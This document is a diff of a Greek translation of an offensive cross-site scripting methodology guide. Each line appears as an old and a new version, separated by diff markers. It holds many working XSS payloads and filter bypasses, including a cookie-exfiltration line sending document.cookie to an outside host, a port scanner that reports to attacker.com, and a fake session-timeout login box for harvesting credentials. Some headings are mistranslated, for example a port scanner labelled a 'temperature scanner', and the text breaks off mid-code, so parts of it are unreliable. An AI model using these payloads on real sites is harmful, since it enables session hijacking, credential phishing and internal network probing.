4. Αν η είσοδός σας αντανάκλαται μέσα σε "**μη εκμεταλλεύσιμες ετικέτες**" θα μπορούσατε να προσπαθήσετε το κόλπο **`accesskey`** για να εκμεταλλευτείτε την ευπάθεια (θα χρειαστείτε κάποια μορφή κοινωνικής μηχανικής για να το εκμεταλλευτείτε): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||||
|
|
||||||
Παράξενο παράδειγμα του Angular που εκτελεί XSS αν ελέγχετε ένα όνομα κλάσης:
|
Παράξενο παράδειγμα του Angular που εκτελεί XSS αν ελέγχετε ένα όνομα κλάσης:
|
||||||
```html
|
```html
|
||||||
@ -70,7 +70,7 @@ debugging-client-side-js.md
|
|||||||
Σε αυτή την περίπτωση, η είσοδός σας ανακλάται μεταξύ των **`<script> [...] </script>`** ετικετών μιας σελίδας HTML, μέσα σε ένα αρχείο `.js` ή μέσα σε ένα χαρακτηριστικό χρησιμοποιώντας το πρωτόκολλο **`javascript:`**:
|
Σε αυτή την περίπτωση, η είσοδός σας ανακλάται μεταξύ των **`<script> [...] </script>`** ετικετών μιας σελίδας HTML, μέσα σε ένα αρχείο `.js` ή μέσα σε ένα χαρακτηριστικό χρησιμοποιώντας το πρωτόκολλο **`javascript:`**:
|
||||||
|
|
||||||
- Αν ανακλάται μεταξύ των **`<script> [...] </script>`** ετικετών, ακόμα και αν η είσοδός σας είναι μέσα σε οποιοδήποτε είδος αποσπασμάτων, μπορείτε να προσπαθήσετε να εισάγετε `</script>` και να ξεφύγετε από αυτό το πλαίσιο. Αυτό λειτουργεί επειδή ο **περιηγητής θα αναλύσει πρώτα τις ετικέτες HTML** και στη συνέχεια το περιεχόμενο, επομένως, δεν θα παρατηρήσει ότι η εισαγόμενη ετικέτα `</script>` είναι μέσα στον κώδικα HTML.
|
- Αν ανακλάται μεταξύ των **`<script> [...] </script>`** ετικετών, ακόμα και αν η είσοδός σας είναι μέσα σε οποιοδήποτε είδος αποσπασμάτων, μπορείτε να προσπαθήσετε να εισάγετε `</script>` και να ξεφύγετε από αυτό το πλαίσιο. Αυτό λειτουργεί επειδή ο **περιηγητής θα αναλύσει πρώτα τις ετικέτες HTML** και στη συνέχεια το περιεχόμενο, επομένως, δεν θα παρατηρήσει ότι η εισαγόμενη ετικέτα `</script>` είναι μέσα στον κώδικα HTML.
|
||||||
- Αν ανακλάται **μέσα σε μια συμβολοσειρά JS** και το τελευταίο κόλπο δεν λειτουργεί, θα χρειαστεί να **βγείτε** από τη συμβολοσειρά, να **εκτελέσετε** τον κώδικά σας και να **ανακατασκευάσετε** τον κώδικα JS (αν υπάρχει κάποιο σφάλμα, δεν θα εκτελεστεί):
|
- Αν ανακλάται **μέσα σε μια συμβολοσειρά JS** και το τελευταίο κόλπο δεν λειτουργεί, θα χρειαστεί να **βγείτε** από τη συμβολοσειρά, **εκτελέσετε** τον κώδικά σας και **ανακατασκευάσετε** τον κώδικα JS (αν υπάρχει κάποιο σφάλμα, δεν θα εκτελεστεί):
|
||||||
- `'-alert(1)-'`
|
- `'-alert(1)-'`
|
||||||
- `';-alert(1)//`
|
- `';-alert(1)//`
|
||||||
- `\';alert(1)//`
|
- `\';alert(1)//`
|
||||||
@ -83,7 +83,7 @@ alert(1)
|
|||||||
```
|
```
|
||||||
#### Javascript Hoisting
|
#### Javascript Hoisting
|
||||||
|
|
||||||
Η αναφορά Javascript Hoisting αναφέρεται στην ευκαιρία να **δηλώσετε συναρτήσεις, μεταβλητές ή κλάσεις μετά τη χρήση τους, ώστε να μπορείτε να εκμεταλλευτείτε σενάρια όπου μια XSS χρησιμοποιεί μη δηλωμένες μεταβλητές ή συναρτήσεις.**\
|
Η αναφορά Javascript Hoisting αναφέρεται στην ευκαιρία να **δηλώσετε συναρτήσεις, μεταβλητές ή κλάσεις μετά τη χρήση τους, ώστε να μπορείτε να εκμεταλλευτείτε σενάρια όπου ένα XSS χρησιμοποιεί μη δηλωμένες μεταβλητές ή συναρτήσεις.**\
|
||||||
**Δείτε την παρακάτω σελίδα για περισσότερες πληροφορίες:**
|
**Δείτε την παρακάτω σελίδα για περισσότερες πληροφορίες:**
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
@ -94,7 +94,7 @@ js-hoisting.md
|
|||||||
|
|
||||||
Πολλές ιστοσελίδες έχουν endpoints που **αποδέχονται ως παράμετρο το όνομα της συνάρτησης που θα εκτελεστεί**. Ένα κοινό παράδειγμα που μπορεί να συναντήσετε είναι κάτι σαν: `?callback=callbackFunc`.
|
Πολλές ιστοσελίδες έχουν endpoints που **αποδέχονται ως παράμετρο το όνομα της συνάρτησης που θα εκτελεστεί**. Ένα κοινό παράδειγμα που μπορεί να συναντήσετε είναι κάτι σαν: `?callback=callbackFunc`.
|
||||||
|
|
||||||
Ένας καλός τρόπος για να διαπιστώσετε αν κάτι που δίνεται απευθείας από τον χρήστη προσπαθεί να εκτελεστεί είναι **τροποποιώντας την τιμή της παραμέτρου** (για παράδειγμα σε 'Vulnerable') και κοιτάζοντας στην κονσόλα για σφάλματα όπως:
|
Ένας καλός τρόπος για να διαπιστώσετε αν κάτι που παρέχεται απευθείας από τον χρήστη προσπαθεί να εκτελεστεί είναι **να τροποποιήσετε την τιμή της παραμέτρου** (για παράδειγμα σε 'Vulnerable') και να ελέγξετε την κονσόλα για σφάλματα όπως:
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
@ -132,7 +132,7 @@ dom-xss.md
|
|||||||
|
|
||||||
### **Universal XSS**
|
### **Universal XSS**
|
||||||
|
|
||||||
Αυτού του είδους οι XSS μπορούν να βρεθούν **οπουδήποτε**. Δεν εξαρτώνται μόνο από την εκμετάλλευση του πελάτη μιας εφαρμογής ιστού αλλά από **οποιοδήποτε** **περίγραμμα**. Αυτού του είδους η **αυθαίρετη εκτέλεση JavaScript** μπορεί ακόμη και να καταχραστεί για να αποκτήσει **RCE**, **να διαβάσει** **αυθαίρετα** **αρχεία** σε πελάτες και διακομιστές, και άλλα.\
|
Αυτού του είδους οι XSS μπορούν να βρεθούν **οπουδήποτε**. Δεν εξαρτώνται μόνο από την εκμετάλλευση του πελάτη μιας διαδικτυακής εφαρμογής αλλά από **οποιοδήποτε** **περίγραμμα**. Αυτού του είδους η **αυθαίρετη εκτέλεση JavaScript** μπορεί ακόμη και να καταχραστεί για να αποκτήσει **RCE**, **να διαβάσει** **αυθαίρετα** **αρχεία** σε πελάτες και διακομιστές, και άλλα.\
|
||||||
Ορισμένα **παραδείγματα**:
|
Ορισμένα **παραδείγματα**:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
@ -153,7 +153,7 @@ server-side-xss-dynamic-pdf.md
|
|||||||
Για αυτές τις περιπτώσεις επίσης **κρατήστε στο μυαλό σας** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
|
Για αυτές τις περιπτώσεις επίσης **κρατήστε στο μυαλό σας** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
|
||||||
_**Σημείωση: Ένα σχόλιο HTML μπορεί να κλείσει χρησιμοποιώντας\*\*\*\*\*\***\***\*`-->`\*\***\***\*ή \*\*\*\*\*\***`--!>`\*\*_
|
_**Σημείωση: Ένα σχόλιο HTML μπορεί να κλείσει χρησιμοποιώντας\*\*\*\*\*\***\***\*`-->`\*\***\***\*ή \*\*\*\*\*\***`--!>`\*\*_
|
||||||
|
|
||||||
Σε αυτή την περίπτωση και αν δεν χρησιμοποιούνται μαύρες/λευκές λίστες, θα μπορούσατε να χρησιμοποιήσετε payloads όπως:
|
Σε αυτή την περίπτωση και αν δεν χρησιμοποιούνται μαύρη/λευκή λίστα, θα μπορούσατε να χρησιμοποιήσετε payloads όπως:
|
||||||
```html
|
```html
|
||||||
<script>
|
<script>
|
||||||
alert(1)
|
alert(1)
|
||||||
@ -170,7 +170,7 @@ alert(1)
|
|||||||
|
|
||||||
### Προσαρμοσμένες ετικέτες
|
### Προσαρμοσμένες ετικέτες
|
||||||
|
|
||||||
Αν δεν βρείτε καμία έγκυρη ετικέτα HTML, μπορείτε να προσπαθήσετε να **δημιουργήσετε μια προσαρμοσμένη ετικέτα** και να εκτελέσετε κώδικα JS με το χαρακτηριστικό `onfocus`. Στο αίτημα XSS, πρέπει να τελειώσετε το URL με `#` για να κάνετε τη σελίδα **να εστιάζει σε αυτό το αντικείμενο** και να **εκτελεί** τον κώδικα:
|
Αν δεν βρείτε καμία έγκυρη ετικέτα HTML, μπορείτε να προσπαθήσετε να **δημιουργήσετε μια προσαρμοσμένη ετικέτα** και να εκτελέσετε κώδικα JS με το χαρακτηριστικό `onfocus`. Στο αίτημα XSS, πρέπει να τελειώσετε το URL με `#` για να κάνετε τη σελίδα **να εστιάσει σε αυτό το αντικείμενο** και να **εκτελέσει** τον κώδικα:
|
||||||
```
|
```
|
||||||
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
|
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
|
||||||
```
|
```
|
||||||
@ -267,12 +267,12 @@ If you **cannot escape from the tag**, you could create new attributes inside th
|
|||||||
```
|
```
|
||||||
### Μέσα στο χαρακτηριστικό
|
### Μέσα στο χαρακτηριστικό
|
||||||
|
|
||||||
Ακόμα και αν **δεν μπορείτε να ξεφύγετε από το χαρακτηριστικό** (`"` κωδικοποιείται ή διαγράφεται), ανάλογα με **ποιο χαρακτηριστικό** η τιμή σας ανακλάται **αν ελέγχετε όλη την τιμή ή μόνο ένα μέρος** θα μπορείτε να το εκμεταλλευτείτε. Για **παράδειγμα**, αν ελέγχετε ένα γεγονός όπως το `onclick=` θα μπορείτε να το κάνετε να εκτελεί αυθαίρετο κώδικα όταν κάνετε κλικ σε αυτό.\
|
Ακόμα και αν **δεν μπορείτε να ξεφύγετε από το χαρακτηριστικό** (`"` κωδικοποιείται ή διαγράφεται), ανάλογα με **ποιο χαρακτηριστικό** η τιμή σας ανακλάται **αν ελέγχετε όλη την τιμή ή μόνο ένα μέρος** θα μπορείτε να το εκμεταλλευτείτε. Για **παράδειγμα**, αν ελέγχετε ένα γεγονός όπως το `onclick=` θα μπορείτε να το κάνετε να εκτελεί αυθαίρετο κώδικα όταν κάνετε κλικ.\
|
||||||
Ένα άλλο ενδιαφέρον **παράδειγμα** είναι το χαρακτηριστικό `href`, όπου μπορείτε να χρησιμοποιήσετε το πρωτόκολλο `javascript:` για να εκτελέσετε αυθαίρετο κώδικα: **`href="javascript:alert(1)"`**
|
Ένα άλλο ενδιαφέρον **παράδειγμα** είναι το χαρακτηριστικό `href`, όπου μπορείτε να χρησιμοποιήσετε το πρωτόκολλο `javascript:` για να εκτελέσετε αυθαίρετο κώδικα: **`href="javascript:alert(1)"`**
|
||||||
|
|
||||||
**Παράκαμψη μέσα σε γεγονός χρησιμοποιώντας HTML κωδικοποίηση/URL κωδικοποίηση**
|
**Παράκαμψη μέσα σε γεγονός χρησιμοποιώντας HTML κωδικοποίηση/URL κωδικοποίηση**
|
||||||
|
|
||||||
Οι **HTML κωδικοποιημένοι χαρακτήρες** μέσα στην τιμή των χαρακτηριστικών HTML ετικετών **αποκωδικοποιούνται κατά την εκτέλεση**. Επομένως, κάτι σαν το παρακάτω θα είναι έγκυρο (το payload είναι με έντονα γράμματα): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Go Back </a>`
|
Οι **HTML κωδικοποιημένοι χαρακτήρες** μέσα στην τιμή των χαρακτηριστικών HTML ετικετών **αποκωδικοποιούνται κατά την εκτέλεση**. Επομένως, κάτι όπως το παρακάτω θα είναι έγκυρο (το payload είναι με έντονα γράμματα): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Go Back </a>`
|
||||||
|
|
||||||
Σημειώστε ότι **οποιαδήποτε μορφή HTML κωδικοποίησης είναι έγκυρη**:
|
Σημειώστε ότι **οποιαδήποτε μορφή HTML κωδικοποίησης είναι έγκυρη**:
|
||||||
```javascript
|
```javascript
|
||||||
@ -301,9 +301,9 @@ If you **cannot escape from the tag**, you could create new attributes inside th
|
|||||||
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
|
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
|
||||||
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
|
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
|
||||||
```
|
```
|
||||||
### Ειδικά Πρωτόκολλα Μέσα στην ιδιότητα
|
### Ειδικά Πρωτόκολλα Μέσα στο χαρακτηριστικό
|
||||||
|
|
||||||
Εκεί μπορείτε να χρησιμοποιήσετε τα πρωτόκολλα **`javascript:`** ή **`data:`** σε ορισμένα μέρη για να **εκτελέσετε αυθαίρετο κώδικα JS**. Ορισμένα θα απαιτούν αλληλεπίδραση του χρήστη ενώ άλλα όχι.
|
Εκεί μπορείτε να χρησιμοποιήσετε τα πρωτόκολλα **`javascript:`** ή **`data:`** σε ορισμένα μέρη για να **εκτελέσετε αυθαίρετο κώδικα JS**. Ορισμένα θα απαιτούν αλληλεπίδραση του χρήστη και ορισμένα όχι.
|
||||||
```javascript
|
```javascript
|
||||||
javascript:alert(1)
|
javascript:alert(1)
|
||||||
JavaSCript:alert(1)
|
JavaSCript:alert(1)
|
||||||
@ -359,9 +359,9 @@ _**Σε αυτή την περίπτωση, η κωδικοποίηση HTML κ
|
|||||||
```
|
```
|
||||||
Σημειώστε ότι αν προσπαθήσετε να **χρησιμοποιήσετε και τα δύο** `URLencode + HTMLencode` με οποιαδήποτε σειρά για να κωδικοποιήσετε το **payload**, **δεν θα** **λειτουργήσει**, αλλά μπορείτε να **τα αναμίξετε μέσα στο payload**.
|
Σημειώστε ότι αν προσπαθήσετε να **χρησιμοποιήσετε και τα δύο** `URLencode + HTMLencode` με οποιαδήποτε σειρά για να κωδικοποιήσετε το **payload**, **δεν θα** **λειτουργήσει**, αλλά μπορείτε να **τα αναμίξετε μέσα στο payload**.
|
||||||
|
|
||||||
**Χρησιμοποιώντας Hex και Octal encode με `javascript:`**
|
**Χρησιμοποιώντας Hex και Octal κωδικοποίηση με `javascript:`**
|
||||||
|
|
||||||
Μπορείτε να χρησιμοποιήσετε **Hex** και **Octal encode** μέσα στο `src` attribute του `iframe` (τουλάχιστον) για να δηλώσετε **HTML tags για να εκτελέσετε JS**:
|
Μπορείτε να χρησιμοποιήσετε **Hex** και **Octal κωδικοποίηση** μέσα στο `src` χαρακτηριστικό του `iframe` (τουλάχιστον) για να δηλώσετε **HTML tags για να εκτελέσετε JS**:
|
||||||
```javascript
|
```javascript
|
||||||
//Encoded: <svg onload=alert(1)>
|
//Encoded: <svg onload=alert(1)>
|
||||||
// This WORKS
|
// This WORKS
|
||||||
@ -403,7 +403,7 @@ Android: %09 %20 %28 %2C %3B
|
|||||||
```
|
```
|
||||||
### XSS σε "Μη εκμεταλλεύσιμες ετικέτες" (κρυφό πεδίο, σύνδεσμος, canonical, meta)
|
### XSS σε "Μη εκμεταλλεύσιμες ετικέτες" (κρυφό πεδίο, σύνδεσμος, canonical, meta)
|
||||||
|
|
||||||
Από [**εδώ**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **είναι πλέον δυνατό να εκμεταλλευτείτε τα κρυφά πεδία με:**
|
Από [**εδώ**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **είναι τώρα δυνατό να εκμεταλλευτούμε τα κρυφά πεδία με:**
|
||||||
```html
|
```html
|
||||||
<button popvertarget="x">Click me</button>
|
<button popvertarget="x">Click me</button>
|
||||||
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
|
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
|
||||||
@ -488,7 +488,7 @@ onbeforetoggle="alert(2)" />
|
|||||||
```
|
```
|
||||||
### Template literals \`\`
|
### Template literals \`\`
|
||||||
|
|
||||||
Για να κατασκευάσετε **strings** εκτός από τα μονά και διπλά εισαγωγικά, η JS δέχεται επίσης **backticks** **` `` `**. Αυτό είναι γνωστό ως template literals καθώς επιτρέπουν την **ενσωμάτωση εκφράσεων JS** χρησιμοποιώντας τη σύνταξη `${ ... }`.\
|
Για να κατασκευάσετε **strings** εκτός από τα μονά και διπλά εισαγωγικά, το JS δέχεται επίσης **backticks** **` `` `**. Αυτό είναι γνωστό ως template literals καθώς επιτρέπουν την **ενσωμάτωση εκφράσεων JS** χρησιμοποιώντας τη σύνταξη `${ ... }`.\
|
||||||
Επομένως, αν διαπιστώσετε ότι η είσοδός σας **αντικατοπτρίζεται** μέσα σε μια JS συμβολοσειρά που χρησιμοποιεί backticks, μπορείτε να εκμεταλλευτείτε τη σύνταξη `${ ... }` για να εκτελέσετε **τυχαίο JS κώδικα**:
|
Επομένως, αν διαπιστώσετε ότι η είσοδός σας **αντικατοπτρίζεται** μέσα σε μια JS συμβολοσειρά που χρησιμοποιεί backticks, μπορείτε να εκμεταλλευτείτε τη σύνταξη `${ ... }` για να εκτελέσετε **τυχαίο JS κώδικα**:
|
||||||
|
|
||||||
Αυτό μπορεί να **εκμεταλλευτεί** χρησιμοποιώντας:
|
Αυτό μπορεί να **εκμεταλλευτεί** χρησιμοποιώντας:
|
||||||
@ -753,7 +753,7 @@ dom-xss.md
|
|||||||
|
|
||||||
### Cookie XSS
|
### Cookie XSS
|
||||||
|
|
||||||
Αν μπορείτε να προκαλέσετε ένα XSS στέλνοντας το payload μέσα σε ένα cookie, αυτό είναι συνήθως ένα self-XSS. Ωστόσο, αν βρείτε ένα **ευάλωτο υποτομέα σε XSS**, θα μπορούσατε να εκμεταλλευτείτε αυτό το XSS για να εισάγετε ένα cookie σε ολόκληρο το domain καταφέρνοντας να προκαλέσετε το cookie XSS στο κύριο domain ή σε άλλα υποτομέα (αυτά που είναι ευάλωτα σε cookie XSS). Για αυτό μπορείτε να χρησιμοποιήσετε την επίθεση cookie tossing:
|
Αν μπορείτε να προκαλέσετε ένα XSS στέλνοντας το payload μέσα σε ένα cookie, αυτό είναι συνήθως ένα self-XSS. Ωστόσο, αν βρείτε ένα **ευάλωτο υποτομέα σε XSS**, θα μπορούσατε να εκμεταλλευτείτε αυτό το XSS για να εισάγετε ένα cookie σε ολόκληρο το domain, καταφέρνοντας να ενεργοποιήσετε το cookie XSS στο κύριο domain ή σε άλλα υποτομέα (αυτά που είναι ευάλωτα σε cookie XSS). Για αυτό μπορείτε να χρησιμοποιήσετε την επίθεση cookie tossing:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../hacking-with-cookies/cookie-tossing.md
|
../hacking-with-cookies/cookie-tossing.md
|
||||||
@ -783,12 +783,12 @@ dom-xss.md
|
|||||||
```
|
```
|
||||||
### Ruby-On-Rails bypass
|
### Ruby-On-Rails bypass
|
||||||
|
|
||||||
Λόγω του **RoR mass assignment** οι αποσπάσεις εισάγονται στο HTML και στη συνέχεια η περιοριστική αποσπάση παρακάμπτεται και μπορούν να προστεθούν επιπλέον πεδία (onfocus) μέσα στην ετικέτα.\
|
Λόγω του **RoR mass assignment** εισάγονται αποσπάσματα στο HTML και στη συνέχεια παρακάμπτεται ο περιορισμός αποσπασμάτων και μπορούν να προστεθούν επιπλέον πεδία (onfocus) μέσα στην ετικέτα.\
|
||||||
Παράδειγμα φόρμας ([από αυτή την αναφορά](https://hackerone.com/reports/709336)), αν στείλετε το payload:
|
Παράδειγμα φόρμας ([από αυτή την αναφορά](https://hackerone.com/reports/709336)), αν στείλετε το payload:
|
||||||
```
|
```
|
||||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||||
```
|
```
|
||||||
Το ζεύγος "Key","Value" θα αναπαραχθεί όπως αυτό:
|
Το ζευγάρι "Key","Value" θα αναπαραχθεί έτσι:
|
||||||
```
|
```
|
||||||
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
|
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
|
||||||
```
|
```
|
||||||
@ -826,9 +826,9 @@ document['default'+'View'][`\u0061lert`](3)
|
|||||||
```
|
```
|
||||||
### XSS με έγχυση κεφαλίδων σε απάντηση 302
|
### XSS με έγχυση κεφαλίδων σε απάντηση 302
|
||||||
|
|
||||||
Αν διαπιστώσετε ότι μπορείτε να **εγχύσετε κεφαλίδες σε μια απάντηση 302 Redirect**, μπορείτε να προσπαθήσετε να **αναγκάσετε τον περιηγητή να εκτελέσει αυθαίρετο JavaScript**. Αυτό **δεν είναι απλό**, καθώς οι σύγχρονοι περιηγητές δεν ερμηνεύουν το σώμα της HTTP απάντησης αν ο κωδικός κατάστασης HTTP είναι 302, οπότε απλώς ένα payload cross-site scripting είναι άχρηστο.
|
Αν διαπιστώσετε ότι μπορείτε να **εγχύσετε κεφαλίδες σε μια απάντηση 302 Redirect**, μπορείτε να προσπαθήσετε να **αναγκάσετε τον περιηγητή να εκτελέσει αυθαίρετο JavaScript**. Αυτό **δεν είναι απλό** καθώς οι σύγχρονοι περιηγητές δεν ερμηνεύουν το σώμα της HTTP απάντησης αν ο κωδικός κατάστασης HTTP είναι 302, οπότε απλώς ένα payload cross-site scripting είναι άχρηστο.
|
||||||
|
|
||||||
Στο [**αυτή την αναφορά**](https://www.gremwell.com/firefox-xss-302) και [**σε αυτήν**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) μπορείτε να διαβάσετε πώς μπορείτε να δοκιμάσετε διάφορα πρωτόκολλα μέσα στην κεφαλίδα Location και να δείτε αν κάποιο από αυτά επιτρέπει στον περιηγητή να επιθεωρήσει και να εκτελέσει το XSS payload μέσα στο σώμα.\
|
Στο [**αυτό το αναφορά**](https://www.gremwell.com/firefox-xss-302) και [**σε αυτό**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) μπορείτε να διαβάσετε πώς μπορείτε να δοκιμάσετε διάφορα πρωτόκολλα μέσα στην κεφαλίδα Location και να δείτε αν κάποιο από αυτά επιτρέπει στον περιηγητή να επιθεωρήσει και να εκτελέσει το payload XSS μέσα στο σώμα.\
|
||||||
Προηγούμενα γνωστά πρωτόκολλα: `mailto://`, `//x:1/`, `ws://`, `wss://`, _κενή κεφαλίδα Location_, `resource://`.
|
Προηγούμενα γνωστά πρωτόκολλα: `mailto://`, `//x:1/`, `ws://`, `wss://`, _κενή κεφαλίδα Location_, `resource://`.
|
||||||
|
|
||||||
### Μόνο Γράμματα, Αριθμοί και Τελείες
|
### Μόνο Γράμματα, Αριθμοί και Τελείες
|
||||||
@ -865,12 +865,12 @@ const char* const kSupportedJavascriptTypes[] = {
|
|||||||
```
|
```
|
||||||
### Script Types to XSS
|
### Script Types to XSS
|
||||||
|
|
||||||
(Από [**εδώ**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Ποιοι τύποι θα μπορούσαν να υποδεικνύουν τη φόρτωση ενός script;
|
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Έτσι, ποιοι τύποι θα μπορούσαν να υποδεικνύουν τη φόρτωση ενός script;
|
||||||
```html
|
```html
|
||||||
<script type="???"></script>
|
<script type="???"></script>
|
||||||
```
|
```
|
||||||
- **module** (προεπιλογή, τίποτα να εξηγήσω)
|
- **module** (προεπιλογή, τίποτα να εξηγήσω)
|
||||||
- [**webbundle**](https://web.dev/web-bundles/): Το Web Bundles είναι μια δυνατότητα που μπορείτε να συσκευάσετε μια σειρά δεδομένων (HTML, CSS, JS…) μαζί σε ένα **`.wbn`** αρχείο.
|
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles είναι μια δυνατότητα που μπορείτε να συσκευάσετε μια σειρά δεδομένων (HTML, CSS, JS…) μαζί σε ένα **`.wbn`** αρχείο.
|
||||||
```html
|
```html
|
||||||
<script type="webbundle">
|
<script type="webbundle">
|
||||||
{
|
{
|
||||||
@ -897,9 +897,9 @@ import moment from "moment"
|
|||||||
import { partition } from "lodash"
|
import { partition } from "lodash"
|
||||||
</script>
|
</script>
|
||||||
```
|
```
|
||||||
Αυτή η συμπεριφορά χρησιμοποιήθηκε σε [**αυτή την αναφορά**](https://github.com/zwade/yaca/tree/master/solution) για να επαναχαρτογραφήσει μια βιβλιοθήκη στο eval για να την εκμεταλλευτεί, μπορεί να προκαλέσει XSS.
|
Αυτή η συμπεριφορά χρησιμοποιήθηκε σε [**αυτή την αναφορά**](https://github.com/zwade/yaca/tree/master/solution) για να ανακατευθύνει μια βιβλιοθήκη στο eval για να την εκμεταλλευτεί, μπορεί να προκαλέσει XSS.
|
||||||
|
|
||||||
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Αυτή η δυνατότητα έχει κυρίως σκοπό να λύσει ορισμένα προβλήματα που προκαλούνται από την προ-απεικόνιση. Λειτουργεί ως εξής:
|
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Αυτή η δυνατότητα έχει κυρίως σκοπό να λύσει κάποια προβλήματα που προκαλούνται από την προ-απόδοση. Λειτουργεί ως εξής:
|
||||||
```html
|
```html
|
||||||
<script type="speculationrules">
|
<script type="speculationrules">
|
||||||
{
|
{
|
||||||
@ -1268,7 +1268,7 @@ steal-info-js.md
|
|||||||
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
|
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
|
||||||
```
|
```
|
||||||
> [!NOTE]
|
> [!NOTE]
|
||||||
> Δεν **θα μπορείτε να αποκτήσετε πρόσβαση στα cookies από το JavaScript** αν η σημαία HTTPOnly είναι ρυθμισμένη στο cookie. Αλλά εδώ έχετε [μερικούς τρόπους για να παρακάμψετε αυτή την προστασία](../hacking-with-cookies/index.html#httponly) αν είστε αρκετά τυχεροί.
|
> Δεν **θα μπορείτε να αποκτήσετε πρόσβαση στα cookies από το JavaScript** αν η σημαία HTTPOnly είναι ρυθμισμένη στο cookie. Αλλά εδώ έχετε [μερικούς τρόπους να παρακάμψετε αυτή την προστασία](../hacking-with-cookies/index.html#httponly) αν είστε αρκετά τυχεροί.
|
||||||
|
|
||||||
### Κλοπή Περιεχομένου Σελίδας
|
### Κλοπή Περιεχομένου Σελίδας
|
||||||
```javascript
|
```javascript
|
||||||
@ -1340,11 +1340,11 @@ q.shift()()
|
|||||||
}
|
}
|
||||||
</script>
|
</script>
|
||||||
```
|
```
|
||||||
### Σαρωτής Θερμοκρασίας (fetch)
|
### Σαρωτής Θυρών (fetch)
|
||||||
```javascript
|
```javascript
|
||||||
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
|
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
|
||||||
```
|
```
|
||||||
### Σαρωτής Θερμοφυσικών Θυρών (websockets)
|
### Σαρωτής Θερμοκρασίας (websockets)
|
||||||
```python
|
```python
|
||||||
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
|
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
|
||||||
for(var i=0; i<ports.length; i++) {
|
for(var i=0; i<ports.length; i++) {
|
||||||
@ -1359,15 +1359,15 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
|
|||||||
};
|
};
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
_Σύντομοι χρόνοι υποδεικνύουν μια απαντητική θύρα_ _Μακρύτεροι χρόνοι υποδεικνύουν μη απάντηση._
|
_Σύντομοι χρόνοι υποδεικνύουν μια απαντητική θύρα_ _Μακρύτεροι χρόνοι υποδεικνύουν καμία απάντηση._
|
||||||
|
|
||||||
Δείτε τη λίστα με τις θύρες που έχουν απαγορευτεί στο Chrome [**εδώ**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) και στο Firefox [**εδώ**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
Δείτε τη λίστα με τις θύρες που έχουν απαγορευτεί στο Chrome [**εδώ**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) και στο Firefox [**εδώ**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
||||||
|
|
||||||
### Κουτί για να ζητήσετε διαπιστευτήρια
|
### Box to ask for credentials
|
||||||
```html
|
```html
|
||||||
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
|
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
|
||||||
```
|
```
|
||||||
### Λήψη κωδικών πρόσβασης αυτόματης συμπλήρωσης
|
### Αυτόματη καταγραφή κωδικών πρόσβασης
|
||||||
```javascript
|
```javascript
|
||||||
<b>Username:</><br>
|
<b>Username:</><br>
|
||||||
<input name=username id=username>
|
